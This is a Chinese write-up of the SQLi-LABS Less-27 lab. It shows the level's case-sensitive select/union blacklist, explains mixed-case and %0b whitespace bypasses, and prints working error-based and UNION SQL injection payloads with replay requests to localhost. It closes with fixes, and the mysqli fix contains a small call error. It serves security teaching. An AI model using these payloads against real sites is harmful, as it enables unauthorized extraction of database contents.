Less-27 审计报告:SELECT/UNION 大小写黑名单绕过(报错型,单引号闭合)
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-27 Trick with SELECT & UNION |
| 源码路径 | Less-27/index.php |
| 漏洞类型 | SQL 注入 – 报错型(黑名单按"精确大小写"列举 select/union,大小写混合绕过) |
| 注入点参数 | GET /Less-27/?id= |
| 报错/盲注 | 报错回显(print_r(mysql_error())) |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件: Less-27/index.php
// 第 20 行:用户输入直接取出
$id=$_GET['id'];
// 第 27 行:交给黑名单函数
$id= blacklist($id);
// 第 34 行:单引号包裹
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// 第 48 行:报错回显
print_r(mysql_error());
// 第 57~72 行:黑名单 —— 注释符、空格/加号、以及"精确大小写"的 select/union
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out select
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
3. 漏洞分析
- 过滤机制:
- 删除注释符
/*、--、#; - 删除空格和
+([ +]字符类);但不删除 Tab(%09)、换行(%0a)、垂直制表符(%0b),这些可作为空白替代; - 删除 select/union,但仅限精确列举的 6 种大小写:
select、union、UNION、SELECT、Union、Select。没有/i修饰符。
- 删除注释符
- 绕过:
- 大小写混合
SeLeCt、UnIoN、UnIoN SeLeCt等不在黑名单列表 → 原样通过; - 空格用
%0b(垂直制表符)或%0a/%09代替 ——[ +]不会删它们,MySQL 把它们当空白。
- 大小写混合
- 闭合方式:
WHERE id='$id'。注释符全被删,无法用--/#,需用等价表达式闭合尾部引号。 - 是否回显:第 48 行报错回显。
4. 利用方式
步骤一:确认 select/union 大小写过滤
?id=1' union select 1,2,3-- -→union/select/--/空格全被删,语法错。?id=1'%0bUnIoN%0bSeLeCt%0b1,2,3%0b'→UnIoN/SeLeCt未被删,%0b保留 → 可返回,说明绕过成立。
步骤二:报错注入(最简单,无需 UNION/注释)
and、extractvalue、updatexml 均未被过滤,只需处理空格:
1'%0band%0bextractvalue(1,concat(0x7e,database()))%0band%0b'1'='1
拼接后(%0b 为垂直制表符,MySQL 视为空白):
SELECT * FROM users WHERE id='1' and extractvalue(1,concat(0x7e,database())) and '1'='1' LIMIT 0,1
预期结果:回显 XPATH syntax error: '~security'。
步骤三:联合注入(大小写混合 + %0b,注释被过滤需自行闭合)
-1'%0bUnIoN%0bSeLeCt%0b1,2,database()%0b'
拼接后:
SELECT * FROM users WHERE id='-1' UnIoN SeLeCt 1,2,database() '' LIMIT 0,1
MySQL 中
database() ''中的''会被当作第 3 列的别名(字符串别名),语法合法;-1无匹配行,union 结果(1,2,security)显示在页面上。
步骤四:提取其它数据
1'%0band%0bextractvalue(1,concat(0x7e,(select%0bgroup_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database())))%0band%0b'1'='1
子查询内的空格用
%0b代替;若子查询出现select/union关键词,同样用SeLeCt/UnIoN混合大小写绕过。
5. Yakit 重放数据包
GET /sqli-labs/Less-27/?id=1'%0band%0bextractvalue(1,concat(0x7e,database()))%0band%0b'1'='1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
联合注入报文:
GET /sqli-labs/Less-27/?id=-1'%0bUnIoN%0bSeLeCt%0b1,2,database()%0b' HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
%0b为原始字节 0x0B,必须保持 URL 编码形式发送(Yakit 中直接写%0b即可)。
6. 修复建议
修复一:PDO 预处理
<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();
修复二:mysqli 预处理
<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$row = $stmt->fetch_assoc();
修复三:加固要点
- 黑名单列举关键字大小写 = 必被绕过;应改为参数化 + 白名单。
id参数ctype_digit()/is_numeric()强校验。- 关闭报错回显(移除
print_r(mysql_error()))。 - 数据库最小权限,升级 PHP 7+ / 8+。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前提:导入
sql-lab.sql、配置sql-connections/db-creds.inc、PHP 5.x +mysql扩展。
正文完